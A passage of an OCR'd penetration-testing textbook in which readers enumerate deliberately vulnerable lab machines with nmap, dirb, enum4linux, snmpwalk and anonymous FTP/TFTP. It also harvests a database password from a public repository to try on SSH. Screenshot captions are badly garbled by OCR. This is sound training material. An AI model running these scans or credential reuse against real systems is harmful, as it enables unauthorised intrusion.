Let’s perform a nmap (-sS) SYN port scan along with (-sV) service and (-
O) operating system detection of the target system. -p flag is used to specify
individual ports (comma separated) or ranges. In the following exercise we
will be performing a full port scan using range 0-65535.

root@kali: ~ e e e

File Edit View Search Terminal Help

-5V -0 -p 8
Starting Nmap I ma ) at 62-18 15:06 EST
Nmap scan

3 : WORKGROUP )
sn Samba smbd 3 0 : WORKGROUP }
MySQL 5.5.5-18. Tl
27:9B:4F:8F (0Oracl x virtual NIC)

purpose
X

inux kernel:3 cpe:/o:linux:linux kernel:4

Linux; CPE: cpe:/o:Llinux:linux kernel

gage results at https

omit/ .
1 IP address (1 host up) scanned in 23.86 seconds
2

Figure 5.24: Using nmap for scanning full TCP port range

The nmap output shows that the target is a Debian 10 system running
multiple services such as FTP, SSH, HTTPD, Windows File Sharing and
Mysql.



root@kali: ~ e ® O

File Edit View Search Terminal Help

:~# nmap -sU -sV 10
Starting Nmap 7.8@ ([ http
Nmap scan report
Host is up (©.6
Not shown: 995 closed p

STATE SERVICE VERSION

open|filtered dhcpc

apen netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)

open|filtered netbios-dgm

open|filtered ipp

) open mdns DNS-based service discovery

MAC Address: 08:00:27:9B:4F:8F (Oracle VirtualBox virtual NIC)
Service Info: Host: NIGHTFALL

Mmap done: 1 IP address {1 host up) scanned in 1194.81 seconds
1 —#

Figure 5.25: nmap UDP portscan results

The screenshot of the nmap output shows 2 open UDP ports on the target
namely 137 and 5353.

Take notes on the observations made so far, and we will continue with this
machine in the next chapter.

Observation Notes:

IP address: 10.0.2.5

Operating System: Debian Linux

Open Ports & Services:

21/tcp fip

pyftpdlib 1.5.5

22/tcp ssh

OpenSSH 7.9p1 Debian 10 (protocol 2.0)
80/tcp http

Apache httpd 2.4.38 ((Debian))

139/tcp netbios-ssn

Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp netbios-ssn



Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3306/tcp mysql

MySQL 5.5.5-10.3.15-MariaDB-1

137/udp netbios-ns

Samba nmbd netbios-ns (workgroup: WORKGROUP)
5353/udp mdns

DNS-based service discovery

Mumbai:1

The netdiscover output shows that the Mumbai target is up and using the IP
address 10.0.2.6.

root@kali: ~ e e o
File Edit View Search Terminal Help

Currently scanning: Finished! | Screen View: Unique Hosts

4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240

AT MAC Address Count en MAC Vendor / Hostname

Figure 5.26: netdiscover scan

In this exercise we will be using a graphical frontend for nmap called
Zenmap to perform port scanning of the target system. Zenmap offers a
relatively less intimidating graphical interface for beginners and easier to
read output.

To begin the exercise open up the applications menu highlight ‘01 -

Information Gathering’ and click on ‘zenmap’. type the target system’s IP
address in the ‘Target’ field and click the scan button.



Zenmap (- I C I
Scan Tools Profile Help

Target: [10.0'.2.5 |Tl Profile: |Intensescan v [S;nl [Cancel_

Command: nmap -T4 -A -v10.0.2.6

'H :,_--._.;._.-:;;.-" [ Services ] Nmap Output ' Ports / H:;:-st5| Topology Host Details Scans

Port  Protocol State  Service  Version
0S  Host v : : :
6 10026 2 tep open ftp vsftpd 3.0.3

@ 22 tcp open ssh Open55H 7.6pl Ubuntu 4
@ 80 tcp -open hitp - Apache hitpd 2.4.29 ((Ubu
©@ 3306 tcp open - mysql MySGQL (unauthorized)
©@ 8000 tcp -open http -nginx 1.14.0 (Ubuntu)

Filter Hosts | | < I :

Figure 5.27: Zenmap

The Zenmap output shows that the target is an Ubuntu Linux system
running multiple services such as FTP, SSH, HTTP Apache, MySQL, and
HTTP nginx.

Take notes on the observations made so far, and we will continue with this
machine in the next chapter.

Observation Notes:

IP address: 10.0.2.6
Operating System: Ubuntu Linux
Open Ports & Services:
21/tcp ftp

vsftpd 3.0.3

22/tcp ssh

OpenSSH 7.6p1 Ubuntu
80/tcp http

Apache httpd 2.4.29
3306/tcp mysql



8000/tcp http
nginx 1.14.0

Conclusion

This chapter we covered the various pre-engagement activities which go
into planning an effective penetration test such as scoping, expectations,
communication, problem escalation, testing window and limitations, and so
on.

Further in the chapter, we performed hands-on reconnaissance of our targets
using network host discovery such as ICMP/ARP sweeps, different types of
port scanning (TCP/SYN/UDP), operating system and service version
detection, knowing the open ports, services, and software versions running
on the target provides useful insights into the functioning of the target along
with aiding in identification of any security issues that the target system
may be affected by.

Moving on, the next chapter will focus on various scanning and
enumeration tools that are available in Kali Linux and perform hands-on
exercises to find security issues in the target systems.

Questions

1. Which protocols are used to determine alive hosts on an IP network?
2. Which nmap scan type is also known as half-open scan?

3. What is aggressive mode in nmap and why is it used?



CHAPTER 6

Service Enumeration and Scanning

he previous chapter was divided into two main parts. The first half of
Tthe previous chapter covered the various pre-engagement activities
which are needed to plan a successful penetration test. The latter half of the
chapter covered the theory of reconnaissance along with hands-on usage of
tools available on kali linux to obtain valuable information about the target
systems.

This chapter will explain how to utilize the knowledge gained about the
targets in the previous chapter to perform further scanning and enumeration
of the services identified by us earlier.

Structure

In this chapter, we will touch upon the following topics:

¢ Enumeration of various services

e Scanning services to identify potential weaknesses and entry points

Objectives
After reading this chapter, you will be able to:

o Understand the theory of enumeration and service scanning.

e Perform enumeration and service scanning using the tools available
within Kali Linux.

DC-7

We had previously identified an Apache web server running a Drupal based
website on port 80 of the target, moving forward we will be enumerating
this service further to find any important files or directories present on it.



Let’s open up a terminal and run a dictionary based web content scan

against the website using the command dirb http://10.0.2.27

root@kali: ~
File Edit View Search Terminal Help

# dirb http://18.8.2.27

START TIME: wWed Feb 19 14:41:57 2028
URL BASE: httj ). 7/

share/dirb/wordlists/common. txt

GENERATED WORDS: 4612

ning URL:
B.
1 (CODE:
AIN (CODE:4

SIZE:8734)
.mysql | 483 }
pgsql (CODE:403|SIZE:297)

Figure 6.1: dirb scan

e e

You will notice that the default scan without any switches takes a
significant amount of time and most of the scan output consists of 403
forbidden error pages, as reflected in the scan results in above screenshot.

You can improve this scan timing and output by running this command:

dirb http://10.0.2.27 -r -N 403



root@kali: ~ e ® 0
File Edit View Search Terminal Help
URL BASE: http }.2.27/
WORDLIST FILES: /us / b/wordlists/common, txt
OPTION: Ignoring M 3
OPTION: Mot Recursive

GENERATED WORDS: 4612

-- Scanning URL:
=> DIREC
http:/

£h
-
Fe
+
+
+

Figure 6.2: dirb fine tuning

The -r switch stops the dirb tool from recursively checking for the same
files in any directories identified. The DC-7 target responds with a lot of
403 messages for many directories, and -N option is used to instruct the
dirb tool to ignore or filter out unwanted responses and minimize false
entries from showing up in the scan results.

Notice the robots. txt file is present on the target system; this file is used
by website administrators to stop search engines from indexing sensitive
files and directories.

Now, open up the Firefox browser from the dock and browse to:

http://10.0.2.27/robots. txt



Mozilla Firefox e ® 9

10.0.2.27 robots.txt x|+

&l & 0 @ 10.0.2.27frobots txt B | = @ % | e =
", Kali Linux “%, Kali Training 'S, Kali Tools "%, KaliDocs 'S Kali Forums S, NetHunter [ Offensive Security »
ALLN . FRTDTLLESS ™. 5V ]

# Directories

Disallow: Jfcoref

Disallow: sprofiles/

# Files

Disallow: /README.txt

Disallow: fweb,config

# Paths (clean URLs)

Disallew: fadming

Disallow: fcomment/reply/

Disallow: sfilter/tips

Disallow: Snode/add/

Disallow: fsearch/f

Disallew: fuserjregister/

Disallew: fuser/password/s
Disallow: fuser/login/

Disallow: fuser/Llogout/

# Paths (no clean URLS)

Disallew: /findex.php/admin/
Disallow: findex.php/comment/reply/
Disallew: sindex.php/filter/tips
Disallow: /findex.php/node/add/f
Disallow: findex.php/search/
Disallow: sindex.phpiuser/passwordf
Disallow: findex.php/user/register/
Disallew: /findex.php/user/login/

Nieallem: findey alnfoese S ansont §

Figure 6.3: robots.txt on DC-7

In the preceding screenshot of robots.txt, you will notice the list of
potentially sensitive files, and directories. Take a note of the list and browse
each entry one by one to explore if any useful discovery can be made.

In the previous chapter we had discovered twitter handle on the target web
page and the subsequent Google search showed a few results pertaining to
the twitter handle including a GitHub source code repository:

https://github.com/Dc¢7User/staffdb

Note: Inexperienced developers do not prioritise security and publish
the source code on the internet, any code published online is a huge
security risk as it can be analyzed to understand the application
architecture, its functionality, business logic and identify security issues
associated with it. Online source code repositories such as GitHub are a
valuable resource during a penetration test.



GitHub - Dc7User/staffdb - Mozilla Firefox (- -

€) GitHub - Dc7Userjstafid % | +

{— = & 6 (@ & GitHub, Inc. (US) | https:/fgithub.com/Dc7 90% | | = @ m o =
", Kali Linux “W, Kali Training ', Kali Tools "\, KaliDocs 'S Kali Forums S, NetHunter [ Offensive Security »

O Why GitHub? Enterprise  Explore Marketplace Pricing

L] DcilUser / stafidb GyWatch 1 W Star | 0 & Fork

% Coda Bsiias O ") Pull requests o D Actions il Projects @ i Security Ingighits

Join GitHub today Dismi

GitHub is home 1o over 40 million developars working logeather 1o host and
review code, manage projects, and build software fogether.

No descriplion, websiie, or lopics provided.

[P 2 comimits 171 branch " 0 packages T 0 relenses A 1 coninbutos

Branch: master = Hew pull request Find file Clone or downig

1.1 DeTUser Create AEADME md

Lates] commil Se3bded om Aug 29,

&1 README md Create README mxd

& months
-

¥

Figure 6.4: Dc7User GitHub page

We can see that the GitHub page for pc7user seems to be a source-code

repository containing many files which may prove useful to us by providing
some insights into the functioning of the application.

After carefully exploring the files one by one, and analyzing all the useful
information you will be able to collect useful information about the
functioning of the application and its logic.



staffdb/config.php at master - Dc7User/staffdb - GitHub - Mozilla Firefox o0 0
) staffdbfconfigphpatma X | +
[ & )5 C (D & GitHub, Inc. (US) | https:/fgithub.com/Dc7 90% | | = @ n o=
", Kali Linux “%, Kali Training "%, Kali Tools "%, KaliDocs 'S Kali Forums S, NetHunter [ Offensive Security »
Branch: master - | staffdb / cnnfiglphp Find file = Copy pﬂrh
1o DETUser Acd thes v upiond sERe1CT  on Aug 28, 29
1 corrbRiiorn
7 lines (7 sloc) | 1B4 Bytes Raw Blame Histery &

Tphp
fservernass = "looalhost™)
Susername = “goTuser” ;
Spassword = "HdREROQETECW"™ ;
Sdbnaee = “5LATT™;
Sconn = mysqli connect{Sservername, Susername, Spassword, Sdbneme);

02020 GiHub, Inc.  Terms Prvaty Securty Slalus Help Contac GiHub Priong APl Tramng Blog »
< | >

Figure 6.5: Contents of config.php

One such file available on the Dc7User’s GitHub page is config.php
located under the staffdb directory, the config.php source-code file is
shown in the preceding screenshot.

The database name to store application data is ‘staffdb’ and the username,
password used by the application are dc7user and MdR3xOgB7#dW
respectively.

You can also notice that the application connects to a database server on
localhost. This server did not show up on our nmap scan so the database
service is only configured to listen on the loopback interface or is
potentially being filtered using a host-based firewall.

As the database service is not accessible to us remotely. We will have to
verify these credentials using the other services such as SSH and HTTP that
were found to be open on the target system.

Take notes on the observations made so far, and we will continue with this
machine in the next chapter.

Observation Notes:
IP address: 10.0.2.27



Operating System: Linux (Debian 10 based)
Open Ports & Services:

e 22/tcp - SSH
o OpenSSH 7.4p1 (gathered from service banner)
e 80/tcp - HTTP

o Apache 2.4.25 (gathered from service banner)
» Found robots.txt

o Drupal 8 (gathered from page source)

o Internet handle @DC7user on the main page

= Google search of the handle revealed Twitter and Github
accounts.

» Found source-code and credentials ‘dc7user and
‘MdR3xOgB7#dW’

Digitalworld.local: Joy

This particular target has a multitude of services such as FTP, SSH, SMTP,
HTTP, POP3, Netbios, NTP, SNMP running on it. We will enumerate a few
of these services, and gather any important information that we can about
the target.

Starting our exercise with the FTP service. Open up a terminal, and type the
command:

ftp 10.0.2.15

You can check whether anonymous logins are allowed by trying to login
with ‘anonymous’ as the user name and enter any email address in the
password field.



root@kali: ~ e e O

File Edit View Search Terminal Help
# ftp 18.8.2.15
0 10.6.2.15

1 Tech Inc. FTP Server

te email address as your

1ing ASCII mode data connection for file list

- ¥ 2 ftp ftp . Jan & 2019 dc

ma X 2 ftp Ttp B96 Jan 1@ 2019 up
Transfer complete

Figure 6.6: Anonymous FTP access enabled

As you can see anonymous logins are allowed so we can browse the files,
and directories that are available on the target FTP server. In this case we
can see that there are two directories present on the FTP server.

root@kali: ~/lab/Joy (IO ]
File Edit View 5Search Terminal Help

SuUcC sTul
SCII mode data connection for file list
1 ftp ftp 135661 Feb 1@ 10:27 directory
ftp ftp 8 Jan 6 20619 project armadille
ftp ftp 25 Jan 6 2019 project bravado
ftp ftp 88 Jan 6 2019 project desperado
ftp ftp B Jan & 2019 project emilio
ftp ftp 8 Jan 6 2019 project_flamingo
ftp ftp Jan 6 20819 project indi
ftp Tip 6 Jan & 2019 project komo
ftp ftp @ Jan & 2019 project
ftp ftp 8 Jan 6 2019 project
ftp ftp B Jan & 2019 project
ftp ftp 8 Jan 6 2019 project
ftp ftp ) Jan 6 2019 project
ftp Ttp Jan & 2019 project
ftp ftp Jan & 2019 project
ftp ftp Jan & 20 project
ftp ftp Jan & 20 project
Ttp Ttp @ Jan 6 2019 project
ftp ftp 28 Jan 6 g project
ftp Ttp Jan & 2019 project

¥ 1 ftp ftp 24 Jan © 2019 reminder

226 Transfer complete
ftp=

WU ka

W LA =J LA

1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1




Figure 6.7: Upload directory list

The 1s command output shows us the list of files present in the upload
directory out of which two files stand out in particular as they have a
different set of permissions than the rest.

—IWXIrWXr-X 1 ftp 135661 Feb 10 10:27 directory
—IrWXXWXr—-X 1 ftp ftp 24 Jan 6 2019 reminder

Download the files to the local machine by issuing the get <filename>
command within the existing FTP session.

root@kali: ~/labfJoy e ® O

File Edit View 5earch Terminal Help
ftp> cd upload

PORT command su csful

Opening BINARY mode data connection for directory (135661 bytes)
226 Transfer complete
35661 bytes received in 9.08 (408.6461 MB/s)

get reminder

l: reminder remote: reminder

PORT command successful

Opening BINARY mode data connection for reminder (24 bytes)
2 Transfer Le
24 bytes rece d in .80 - (141.1898 kB/s)
ftp=

Figure 6.8: Downloading directory and reminder from the FTP service

To make things easier you can also use the Firefox browser, and open the
URL £tp://10.0.2.27 and browse through the files available in the upload
directory.

Mozilla Firefox I -
10.0.2.15/upload/directary x | 4
€ [ ok @ fipc/f10.0.2.15/upload/directory - @ 1 n m| =
*, Kali Linux “w, Kali Training ", Kali Tools "\, Kali Docs ', Kali Forums S, NetHunter [ Offensive Security »
Patrick's Directory -
total 3668 l
drwxr-xr-x 18 patrick patrick 151552 Feb 11 11:25 .
drwxr-xr-x 4 root root 4896 Jan & 2019 ..
=PW=F=-r=- 1 patrick patrick 24 Feb 8 00:40 000ZrXTOIUcI0MAIBFADK:StDAgeHpeYGECALeQUWLLFGSgpT65EDyToubL khor , txt
“PW-F--T 1 patrick patrick 24 Feb 11 02:35 00UZpaGle7ImSaclzbpipdsFoltngiMgrxlnezBkBP1LzNAnpt sLTmdn TGRS yOC , tut
-PW-F--T 1 patrick patrick 24 Feb 8§ 82:00 B5EROrXvDOdacWROVzGoBZIgSvysCUNTsIdZN1t0ZcsMzhlE ] TFokY2012ugTrun. txt
“Pw-F--T 1 patrick patrick O Feb 18 20:25 062FfmdWeSnesl rnGO00OS] thaDONCNTh, txt
=PW=F=-F 1 patrick patrick 24 Feb 7 05:15 065wAgclBdakctAGuAxgiVWME FRGOoqDIDTaNvBqONKbnWadATUSpUFodOCCINSEe ., txt



Figure 6.9: Contents of the ‘directory’ file

This file seems to contain the listing of the home directory for user patrick
along with a few extra comments added at the end of the file. As you can
notice most of the filenames contain a random list of alpha-numeric
characters suggesting that they may be generated as a part of some
automated process.

Here are a few names of files and directories which stood out in the list:

-rwxrwxrwx 1 patrick 0 Jan 9 2019 haha
Clrommmooo= 2 root root 4096 Jan 9 2019 script
-rw-r--r-- 1 patrick patrick 0 Jan 6 2019 Sun
-rw-r--r-- 1 patrick patrick 0 Jan 6 2019 .txt

-rw-r--r-- 1 patrick patrick 407 Jan 27 2019

version_control

Standard user files directories such as Desktop, Documents, Downloads,
.config, .gnupg, and so on. which are a part of home directory have been
excluded.

Mozilla Firefox @0
10.0.2.15/upload/reminder x | 4
“ = O & (@ ftpe/f10.0.2.15/upload/reminder o @ O W m =
", Kali Linux W, Kali Training ', Kali Tools ", Kali Docs &, Kali Farums ", NetHunter [ Offensive Security »

Lock down this machine!

Figure 6.10: Contents of ‘reminder’ file

The ‘reminder’ file did not contain any useful information apart from
giving us a hint that there may be an issue with the system’s hardening.

Browsing the remaining files on the FTP service did not yield any further
information so we will now proceed to enumerate the other services.

Let’s move on to enumerate the HTTP service running on the target host.
Browsing to the URL http://10.0.2.15 shows us that a directory named
‘ossec’ is present on the website.



@ 10.0.2.15 o0 m @

Index of /

Name Last modified Size Description

) ossec/ 2016-07-19 20:03 -

Apache/2.4.25 (Debian) Server at 10.0.2.15 Port 80

Figure 6.11: HTTP service running on port 80

Opening the directory presents an OSSEC WebUI web application.

Fsbruary 100, 2000 08 35 P

Available agents: Latest modified files:

+ossec-sanver (127.0.0.1) +lete/resoly_cond
+lete/dovecaot’conf.d'10-asl.cond
+bootfinitrd.img-4.9.0-8-amd64
+/ ban/ oot
+shin‘runtpviel

« I *H
Figure 6.12: ossec directory landing page

The about section tells us that the application is an open source web
interface for the OSSEC-HIDS project.

Let’s enumerate the HTTP service by running a dirb scan against the
baseurl http://10.0.2.15/ and http://10.0.2.15/ossec directories.



Open up a terminal and run a non-recursive scan against the ossec
application using commands dirb http://10.0.2.15 -r and
http://10.0.2.15/0ossec -r

root@kali: ~/lab/Joy e 0
File Edit View Search Terminal Help

WORDLIST FILE! arefdirb/wordlists/common.txt
OPTION: Mot Recursive

GENERATED WORDS: 4612

- Scanning URL: hitp://108.8.2
> DIRECTORY: http:
> DIRECTORY: http

200 |SIZE:19222)

i+ N A

Figure 6.13: dirb non recursive scanning

Screenshot above showcases the results of dirb scan on /ossec directory of
the target, the scan found a few generic files, and directories pertaining to
the ossec application.

We will now perform enumeration on the SMB protocol ports (139/tcp,
445/tcp and 137 udp) that we found running on the target host. These ports
are a part of netbios services and are used for sharing of files, printers,
serial ports and other resources on a network.

We will use a tool called enum4linux to enumerate the target host, and
enumerate details such as host name, domain name, operating system
details, user list, user groups, password policy, and so on.

Open up a terminal and type the command enumd4linux 10.0.2.15 to
perform the scan.



root@kali: ~/labfJoy e 0

File Edit View Search Terminal Help
: # enumdlinux 10.0.2.15
Starting enumd4linux v@.8.

. administrator, guest, krbtgt, domain admins, root, bin, none

Joy L B <ACTIVE= Workstation Service
Figure 6.14: Enumerating SMB protocol
Go through the results of enum4linux scan and familiarise yourself with the
tool output.

Important entries from the scan results are given as follows:

Version: Samba 4.5.16-Debian
Domain: JOY
Users: patrick, ftp

So far, we have good idea about the users on the target system and a listing
of files in user patrick’s home directory.

Let’s move forward and enumerate the SNMP service that we found
running the target on UDP port 161.

SNMP which stands for Simple Network Management Protocol is a widely
used protocol for collecting and organizing information about managed
devices on TCP/IP networks. SNMP agents share management data as
variables which are organized in hierarchies which are known as
Management Information Bases (MIBs). SNMP uses community strings



with different levels of access to set trust between the managers and the
agents. Common community strings names are public (usually read-only)
and private (usually read-write).

Open up a terminal and type the command to perform the scan:
snmpwalk 10.0.2.15 -v 1 -c public

The -v flag specifies the version of SNMP protocol to use while the -c flag
sets the community string to be used during scanning.

root@kali: ~/lab/Joy e e

File Edit View Search Terminal Help
: # snmpwalk -v 1 -c public 18.8.2.15
Created directory: /var/l ip/mib_indexes
! G. C STRING: "Linux JOY 4.9.0-8-amd6d4 #1 SMP Debian 4.9.130-2 |

0ID: is
Timetic
STRING:
STRING: ™
"Sitting on the Dock of the Bay"
INTEGER: 72
Timeticks: (31) €:88:00.31

Lud
D 2 o 2

E ® = = m w & & =
H
= o

ol ST = I S S S

2
2
1
3
isi
is
i
i
is

00 ~J & LA Ja

=

Figure 6.15: SNMP enumeration

Screenshot from the snmpwalk tool output.
Few details gathered from the installed packages:

Linux Distribution - Debian 9

Kernel version - vilinuz-4.9.0-8-amd64
Apache2 package version 2.4.25-3
Dovecot package version 1:2.2.27-3
Postfix package version 3.1.8-0

Samba package version 4.5.16

Snmpd package version 5.7.3

The services section shows a curious entry regarding a tftp server running
on port 36969 which did not show up on our default UDP port scan as this
port 1s not a part of the top 1000 UDP port list used by nmap. The server
seems to be mapped to user patrick’s home directory.



STRING: "--listen --user tftp --address 6.0.0.0:3

Figure 6.16: SNMP enumeration shows a TFTP server on UDP port 36969

We will now use this TFTP service to download the files from patrick’s
home directory that we had identified earlier.

Using the terminal connect to the tftp server using the command tftp
10.0.2.15 and issue get <filename> command to download the files one
by one. The files to download are haha, Sun, .txt and version control.

root@kali: ~flabfJoy e e O .-

File Edit View 5earch Terminal Help

- # tftp 16.8.2.15 36969
et haha

get Sun

ger .Ixt

get version control

eived 419 bytes in 8.8 seconds
= quit

P
Figure 6.17: Downloading files from the TF'TP service

The files were successfully downloaded from the tftp server.

Take notes on the observations made so far, and we will continue with this
machine in the next chapter.

Observation Notes:

IP address: 10.0.2.15

Operating System: Linux (Debian 9)
Open Ports & Services:

e 21/tcp FTP

o ProFTPD 1.2.10

» Found listing of wuser patrick’s home directory in
/upload/directory.

e 22/tcp SSH
o Dropbear sshd 0.34 (protocol 2.0)



25/tcp SMTP
o Postfix smtpd package version 3.1.8-0
80/tcp HTTP

o Apache httpd 2.4.25, /ossec directory contains web interface
for OSSEC-HIDS

110/tcp POP3

o Dovecot pop3d package version 1:2.2.27-3
139/tcp netbios-ssn

o Samba smbd package version 2:4.5.16
143/tcp IMAP

o Dovecot imapd package version 1:2.2.27-3
445/tcp netbios-ssn

o Samba smbd package version 2:4.5.16
465/tcp SMTP

o Postfix smtpd package version 3.1.8-0
587/tcp SMTP

o Postfix smtpd package version 3.1.8-0

993/tcp ssl/imaps?
995/tcp ssl/pop3s?
123/udp ntp

o NTP v4 (unsynchronized)
137/udp netbios-ns

o Samba nmbd netbios-ns package version 2:4.5.16
161/udp snmp

o SNMPvl1 server; net-snmp SNMPv3 server (public)
36969/udp tftp (found using snmpwalk)



o Mapped to patrick’s home directory

Kioptrix:S
We had previously identified two instances of Apache web server running

on ports 80 and 8080 of the target, we will be enumerating these services
further to find any important files or directories present on it.

Open up the Firefox browser from the dock and browse to
http://10.0.2.104

Mozilla Firefox I C N -
10.0.2.104 x | +
“)=> G ® 10.0.2.104 - @ n@ =
", Kali Linux W, Kali Training ', Kali Tools "\, Kali Docs ', Kali Forums %, NetHunter [ Offensive Security »
It works!

Figure 6.18: HTTP service landing page

Browsing to the URL http://10.0.2.104 shows a standard Apache
placeholder page. Let’s enumerate the service further by running a dirb scan
to find other files and directories.

Open up a terminal, and run a dirb scan against the Apache server using the
command:

dirb http://10.0.2.104



root@kali: ~/lab/K5 e ® 0

File Edit View 5Search Terminal Help
: # dirb http://10.8.2.184

DIRB v2.22
By The Dark Raver

START TIME: Thu Feb 20 16:3
URL BASE: http
WORDLIST FILES

GENERATED WORDS: 4612

ning URL: hitp : i o
e 2,184/ - / (CODE:403|5IZE:210)
/f18.0.2.104/index . html (CODE:280|5IZE:152)

Figure 6.19: Scanning the HTTP service using dirb

The dirb scan did not reveal much, let’s see if we can find anything
interesting by taking a look at the web page source code.

To view the source code of the web page right click on the web page in
Firefox and click on ‘view Page Source’ in the menu or type view-
source:http://10.0.2.104 in the URL bar.

http://10.0.2.104/ - Mozilla Firefox - - ]
hitp://10.0.2.104/ x|+
« = O N (i view-source:htip:f/10.0.2.104f v = @ O mm =
", Kali Linux “%, Kali Training " Kali Tools "\, KaliDocs 'S Kali Forums S NetHunter [ Offensive Security »
<himl>
<heads

o
<META WITP-EQUIV="refresh” CONTENT="5;URL=pChart2.1.3/index. php"=
=
</ head=
<body=
<hl=It works!</hl=

</ body=
o«f html=

Figure 6.20: Viewing the page source code

We can see that the page source contains a URL in the comment section, so
let's browse to the URL http://10.0.2.104/pChart2.1.3/index.php, and
explore it further.



pChart 2.x - examples rendering - Mozilla Firefox (- B C R <]

pChart 2.x - examples rende X | +

(— = ¢ & @ 10.0.2.104/pChart2.1.3/examples/index.php « @ n o
", Kali Linux “S, Kali Training "% Kali Tools "%, KaliDocs 'S Kali Forums S NetHunter [ Offensive Security

i Examples ] Sandbox ] Delayed loader [ Image Map

EXCEEN . vonoeroo oo

| Examples folder contents
~i| Aren Chart
=il Bar Chart
Barcodde
Bubhle chart
1 Combo
Dirawing
2| Labsls
Line chart

2

&3 Click on an example to render it

-—
__ Source area

) Click on an example to get its sourcel

Mathematical
| Mise
Pia charts

Figure 6.21: pChart application

Screenshot showing the pChart application, a quick Google search revealed
that this is a PHP based application for drawing charts.

With enumeration of port 80 complete we will move our attention to the
other HTTP port 8080.

Open up the Firefox browser from the dock and browse to
http://10.0.2.104:8080.

403 Forbidden - Mozilla Firefox ©0 0
403 Forbidden x | +
(]S @ @ ® 10.0.2.104:8080 Ty mm =
"%, Kali Linux ", Kali Training ‘W, Kali Tools "\ KaliDocs ‘& Kali Forums s, NetHunter [l Offensive Security »
Forbidden

You don't have permission to access [ on this server.

Figure 6.22: Access to port 8080 is forbidden
Browsing to the port 8080 we get a forbidden error on the page. Seems like
something is preventing us from getting access to this page.

Let’s run a dirb scan to find any files and directories that could serve as a
potential entry point. Open up a terminal and run a dirb scan against the



webserver using the command dirb http://10.0.2.104:8080

root@kali: ~/lab/K5

File Edit View Search Terminal Help
: # dirb http://10.0,2.104:8080

DIRB wv2.22
By The Dark Raver

START TIME: Thu Feb 28 16:39: 020
URL BASE: http .2
WORDLIST FILES: , fsharefdirb/swordlists/common.txt

GENERATED WORDS: 4612

3|5IZE:210)

END TIME: Thu Feb 20 16:39:51 2020
DOWNLOADED: 4612 - FOUND:

e
"

Figure 6.23: Scanning port 8080 using dirb

The dirb scan did not find any files or directories on the server running on

port 8080.

Take notes on the observations made so far, and we will continue with this

machine in the next chapter.

Observation Notes:

IP address: 10.0.2.104
Operating System: FreeBSD
Open Ports & Services:

e 80/tcp http

Apache httpd 2.2.21
mod_ssl/2.2.21
OpenSSL/0.9.8q
DAV/2 PHP/5.3.8

(0]

(@)

(0]

(@)



o pChart application found in directory /pChart2.1.3/index.php
e 8080/tcp http

o Apache httpd 2.2.21
o mod ssl/2.2.21

o OpenSSL/0.9.8q

o DAV/2 PHP/5.3.8)

HackInOS:1

We had found 2 open ports on this target, an SSH server running on port
22/tcp and an Apache HTTP server running on a non-standard port
8000/tcp.

Let’s enumerate the HTTP service, and find what we can about it. Open up
the Firefox browser from the dock and browse to http://10.0.2.4:8000.

Blog - Just another WerdPress site - Mozilla Firefox e 6 6

Blog — Just another WordPr » | 4

(&)= € @ ® 10.0.2.4:8000 . @ 7 n o
", Kali Linux “S, Kali Training " Kali Tools "\ KaliDoecs ' Kali Forums "N NetHunter [ Offensive Security

Skip to content

Blog
Just another WordPress site

Hello world!

- 1]

Welcome to WordPress. This is vour first post. Edit or delete it, then start writing!
2 Posted byHandsome Container®February 23, 201 9™Posted inlUncategorized™] Comment on Hello

world!
Search for: | Search Search

Recent Posts =

Figure 6.24: Default WordPress page on port 8000

We can see a basic WordPress site running on the target server. Let’s
enumerate the service further by running a dirb scan to find other files and
directories.



Open up a terminal and run a dirb scan against the Apache server using the

command:
dirb http://10.0.2.4:8000

root@kali: ~/lab/HK

File Edit View Search Terminal Help
- # dirb http://10.8.2.4:8008 -

START TIME:
URL BASE: h

WORDLIST FILES fsharesdirb/wordlists/common. txt

OPTIDON: Mot Recur:

GENERATED WORDS: 4612

-- Scanning URL: h

+
+
4%

> DIRECTORY ;
= DIRECTORY :

+ I

END TIME: Sun Feb 23 14:38:59 2020
DOWNLOADED: 4612 - FOUND
: #

Figure 6.25: Non recursive dirb scan on port 8000

We can see that a robots. txt file is present on the target system,; this file is
used by website administrators to stop search engines from indexing

sensitive files and directories.

Open up the terminal type the command:

curl http://10.0.2.4:8000/robots. txt



root@kali: ~/lab/HK e 0 6
File Edit View Search Terminal Help
: # curl http://10.0.2.4:8000/robots. txt
User-agent:*
Disall

Disallow: /uj

Figure 6.26: Viewing robots.txt contents using curl

As shown in the screenshot above the robots.txt the list of potentially
sensitive files and directories.

Check the upload.php page in our browser. Open up a Firefox browser and
browse to http://10.0.2.4:8000/upload.php

Mozilla Firefox e 00

10.0.2.4:8000/upload.php X i+

« 5 2 @ 10.0.2.4:8000/upload.php = @ 1 mmo =

", Kali Linux " Kali Training "%, Kali Tools "\ KaliDocs "%, Kali Forums ‘& NetHunter [] Offensive Security ¥
Select image : I Browse_ | Mofile selected. Submit

Figure 6.27: Upload.php page

The upload page seems to be a very simple one with just file upload
functionality. Let’s see if we can find anything interesting by taking a look
at the web page source code.

Open up the terminal type the command curl
http://10.0.2.4:8000/upload.php



root@kali: ~flab/HK e e O

File Edit View Search Terminal Help
; # curl http://10.8.2.4:8000/upload.php

<IDOCTYPE himl>

=html=

<body=>

=div align="center":=
st" enctype="multipart/form-data“=>

: </b>
¢ ="file" name="file" id="file" style="border: solid;"=>
<input type="submit" value="Submit" name="submit"=
=

Figure 6.28: Viewing upload.php HTML page source using curl

The code shows a simple html form which uses POST method to upload
files to the server.

Figure 6.29: GitHub link in HTML page source

We can see that the page source contains a URL in the comment section,
while in the real world it is highly unlikely that you would ever come across
such hints, it is important to stress the importance of exhausting all
available options by thoroughly observing and inspecting every minute
detail that you may come across during testing to truly understand the target
systems adopting this approach makes a world of difference in the overall
success and eventual outcome of a penetration test.

Let’s browse to the URL https://github.com/fatihhcelik/Vulnerable-
Machine---Hint using Firefox, and explore it further.

The GitHub page contains two files README .md and upload.php, it seems
that the developer may have used the source code from this website. Open
the upload.php file on GitHub, and study the code.



Vulnerable-Machine---Hint/upload.php at master - fatihhcelik/Vulnerable-Machine---Hint - GitHub - Mozilla Firefox @ & @

) Vulnerable-Machine--- % |+

(1> & @ | ® & GitHub, Inc. (US) | hitps:fjgithub.comffatinhicel v (0% | =+ @ fr| mm =
